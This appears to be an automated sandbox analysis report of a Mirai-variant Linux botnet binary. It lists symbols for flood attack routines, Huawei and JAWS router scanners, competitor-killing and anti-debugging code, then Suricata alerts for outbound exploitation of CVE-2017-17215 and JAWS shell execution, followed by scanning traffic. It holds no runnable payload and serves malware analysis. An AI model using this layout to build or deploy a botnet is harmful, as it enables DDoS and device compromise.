__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x18090	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x18074	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x26f8c	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x26694	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x26694	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x26854	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x26858	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1b598	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1838c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x18384	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x18384	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x18384	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x18384	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x181b0	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x18194	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1c778	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x26f94	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x155bc	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x155e0	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x15598	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1ba0c	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1b68c	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x26874	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1b7e0	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1b838	220	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1b914	48	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1b944	164	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x19e48	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x26878	4	OBJECT	<unknown>	DEFAULT	13
__sys_accept	.symtab	0x14e58	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x14f54	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x150d8	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x1518c	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x1525c	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x15310	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x18958	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x18d8c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x18a40	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x14714	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1b344	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x183c8	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x18498	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x184f0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x26850	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x1416c	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x18120	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x18104	24	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x18f78	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x18eac	204	FUNC	<unknown>	HIDDEN	2
_bss_end__	.symtab	0x29b40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x1b5a4	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1b5dc	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x29b38	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x29b3c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x29b2c	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x29b28	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x29b30	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x29b20	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1b2dc	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x29b1c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x29b34	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x29b24	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x29b18	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x2694c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x29b40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x18a80	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x1d008	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x26fb8	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_memcpy	.symtab	0x1a900	0	FUNC	<unknown>	HIDDEN	2
_pthread_cleanup_pop_restore	.symtab	0x1839c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x18394	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x18a0c	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x2978c	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x19804	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x19c64	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x2687c	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x26f98	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1a0d8	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x26fb4	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x26fa4	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x26fb0	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x26880	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x19ce4	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x26864	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x16994	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x14e9c	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0x11078	352	FUNC	<unknown>	DEFAULT	2
anti_gdb_entry	.symtab	0xfbc8	24	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app_http	.symtab	0x81d0	8048	FUNC	<unknown>	DEFAULT	2
attack_get_opt_int	.symtab	0xa5b0	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0xa544	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0xa140	92	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_eth	.symtab	0xa964	1684	FUNC	<unknown>	DEFAULT	2
attack_gre_ip	.symtab	0xaff8	1564	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0xa620	836	FUNC	<unknown>	DEFAULT	2
attack_kill_all	.symtab	0xa298	144	FUNC	<unknown>	DEFAULT	2
attack_ongoing	.symtab	0x26970	12	OBJECT	<unknown>	DEFAULT	14
attack_parse	.symtab	0xa328	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0xa19c	252	FUNC	<unknown>	DEFAULT	2
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0xbdc8	1784	FUNC	<unknown>	DEFAULT	2
attack_tcp_stomp	.symtab	0xb614	1972	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0xc4c0	1708	FUNC	<unknown>	DEFAULT	2
attack_udp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_udp_dns	.symtab	0xd730	1728	FUNC	<unknown>	DEFAULT	2
attack_udp_generic	.symtab	0xce0c	1260	FUNC	<unknown>	DEFAULT	2
attack_udp_plain	.symtab	0xcb6c	672	FUNC	<unknown>	DEFAULT	2
attack_udp_vse	.symtab	0xd2f8	1080	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x26a28	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x269fc	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x26a2c	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x26a34	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x14f10	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x1b634	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x154d4	196	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x15fb4	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xddf0	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xde40	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x14d34	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x18000	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x148d8	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x2694c	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x294fc	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x14f98	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0xfbe0	352	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x26f88	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x170e0	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fake_time	.symtab	0x26a30	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x194b4	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x14470	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x26748	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x2674c	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x149e8	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x14b7c	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x1a388	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x19e78	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x19fbc	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x1a860	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x197e4	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x17914	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x26a40	1348	OBJECT	<unknown>	DEFAULT	14
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x16718	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x18ae8	100	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_eit_entry	.symtab	0x1bba4	544	FUNC	<unknown>	DEFAULT	2
getc	.symtab	0x19e78	324	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x1a734	300	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x18bec	44	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x18c18	20	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x18c2c	20	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x18c40	20	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x18c54	40	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x17d78	72	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x14564	20	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x18c7c	56	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x1500c	68	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x15050	72	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gettimeofday	.symtab	0x18cb4	64	FUNC	<unknown>	DEFAULT	2
gettimeofday.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x18cf4	20	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	8
huawei.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huaweiscanner_fake_time	.symtab	0x269ac	4	OBJECT	<unknown>	DEFAULT	14
huaweiscanner_rsck	.symtab	0x26980	4	OBJECT	<unknown>	DEFAULT	14
huaweiscanner_scanner_init	.symtab	0xdfe0	2808	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_kill	.symtab	0xdee4	40	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_pid	.symtab	0x2697c	4	OBJECT	<unknown>	DEFAULT	14
huaweiscanner_scanner_rawpkt	.symtab	0x26984	40	OBJECT	<unknown>	DEFAULT	14
huaweiscanner_setup_connection	.symtab	0xdf0c	212	FUNC	<unknown>	DEFAULT	2
index	.symtab	0x1ae10	240	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x14e30	40	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x1b16c	248	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x1b264	120	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x16c30	192	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x16efc	248	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x14578	224	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ioctl_keepalive	.symtab	0xfdac	576	FUNC	<unknown>	DEFAULT	2
ioctl_pid	.symtab	0x269e4	4	OBJECT	<unknown>	DEFAULT	14
isatty	.symtab	0x1b0cc	36	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws_fake_time	.symtab	0x269e0	4	OBJECT	<unknown>	DEFAULT	14
jaws_kill	.symtab	0xead8	40	FUNC	<unknown>	DEFAULT	2
jaws_rsck	.symtab	0x269b4	4	OBJECT	<unknown>	DEFAULT	14
jaws_scanner	.symtab	0xebd4	2680	FUNC	<unknown>	DEFAULT	2
jaws_scanner_pid	.symtab	0x269b0	4	OBJECT	<unknown>	DEFAULT	14
jaws_scanner_rawpkt	.symtab	0x269b8	40	OBJECT	<unknown>	DEFAULT	14
jaws_setup_connection	.symtab	0xeb00	212	FUNC	<unknown>	DEFAULT	2
kill	.symtab	0x14658	56	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_kill_by_port	.symtab	0xf64c	1404	FUNC	<unknown>	DEFAULT	2
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-lowlevellock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc_multiple_threads.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listen	.symtab	0x15098	64	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
local_bind.4835	.symtab	0x26754	1	OBJECT	<unknown>	DEFAULT	13
lseek64	.symtab	0x1ba4c	112	FUNC	<unknown>	DEFAULT	2
main	.symtab	0xffec	1936	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x1567c	2360	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x16954	64	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x14d70	4	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x14d80	4	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x1b9e8	36	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x14d90	156	FUNC	<unknown>	DEFAULT	2
methods	.symtab	0x2696c	4	OBJECT	<unknown>	DEFAULT	14
methods_len	.symtab	0x26968	1	OBJECT	<unknown>	DEFAULT	14
mmap	.symtab	0x188dc	124	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x18d08	68	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x18d4c	64	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x26774	24	OBJECT	<unknown>	DEFAULT	13
mylock	.symtab	0x2678c	24	OBJECT	<unknown>	DEFAULT	13
nanosleep	.symtab	0x18dcc	96	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
nprocessors_onln	.symtab	0x171a4	332	FUNC	<unknown>	DEFAULT	2
object.5113	.symtab	0x26950	24	OBJECT	<unknown>	DEFAULT	14
open	.symtab	0x18090	100	FUNC	<unknown>	DEFAULT	2
opendir	.symtab	0x14ab8	196	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pending_connection	.symtab	0x269e8	1	OBJECT	<unknown>	DEFAULT	14
pr-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x14690	68	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
program_invocation_name	.symtab	0x26858	4	OBJECT	<unknown>	DEFAULT	13
program_invocation_short_name	.symtab	0x26854	4	OBJECT	<unknown>	DEFAULT	13
raise	.symtab	0x17dc0	240	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x16abc	24	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x10840	316	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x107d8	104	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x1077c	92	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x1097c	220	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x16ad4	164	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x1e1a0	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x16d94	144	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x267a4	128	OBJECT	<unknown>	DEFAULT	13
read	.symtab	0x181b0	100	FUNC	<unknown>	DEFAULT	2
readdir	.symtab	0x14c2c	232	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir64	.symtab	0x19024	236	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink	.symtab	0x146d4	64	FUNC	<unknown>	DEFAULT	2
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x160f4	960	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x1511c	112	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvfrom	.symtab	0x151d4	136	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T21:47:23.991269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53646	39.25.202.96	80	TCP
2024-12-03T21:47:23.991269+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53646	39.25.202.96	80	TCP
2024-12-03T21:47:24.769622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51386	219.115.34.124	80	TCP
2024-12-03T21:47:24.769622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51386	219.115.34.124	80	TCP
2024-12-03T21:47:28.019310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47568	156.227.147.148	37215	TCP
2024-12-03T21:47:32.395467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52948	197.6.106.254	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 21:47:19.046631098 CET	39419	80	192.168.2.13	87.48.49.106
Dec 3, 2024 21:47:19.046634912 CET	39419	80	192.168.2.13	51.53.207.15
Dec 3, 2024 21:47:19.046632051 CET	39419	80	192.168.2.13	186.8.211.15
Dec 3, 2024 21:47:19.046638012 CET	39419	80	192.168.2.13	9.202.69.13
Dec 3, 2024 21:47:19.046657085 CET	39419	80	192.168.2.13	154.114.144.96
Dec 3, 2024 21:47:19.046658993 CET	39419	80	192.168.2.13	117.128.229.253
Dec 3, 2024 21:47:19.046667099 CET	39419	80	192.168.2.13	155.132.98.2
Dec 3, 2024 21:47:19.046734095 CET	39419	80	192.168.2.13	126.55.76.63
Dec 3, 2024 21:47:19.046735048 CET	39419	80	192.168.2.13	125.94.217.102
Dec 3, 2024 21:47:19.046734095 CET	39419	80	192.168.2.13	48.236.173.80
Dec 3, 2024 21:47:19.046734095 CET	39419	80	192.168.2.13	149.153.42.110
Dec 3, 2024 21:47:19.046736956 CET	39419	80	192.168.2.13	156.0.114.15
Dec 3, 2024 21:47:19.046741009 CET	39419	80	192.168.2.13	39.175.61.253
Dec 3, 2024 21:47:19.046742916 CET	39419	80	192.168.2.13	199.225.194.240
Dec 3, 2024 21:47:19.046745062 CET	39419	80	192.168.2.13	169.96.200.47
Dec 3, 2024 21:47:19.046751022 CET	39419	80	192.168.2.13	148.36.60.149
Dec 3, 2024 21:47:19.046751022 CET	39419	80	192.168.2.13	47.238.164.251
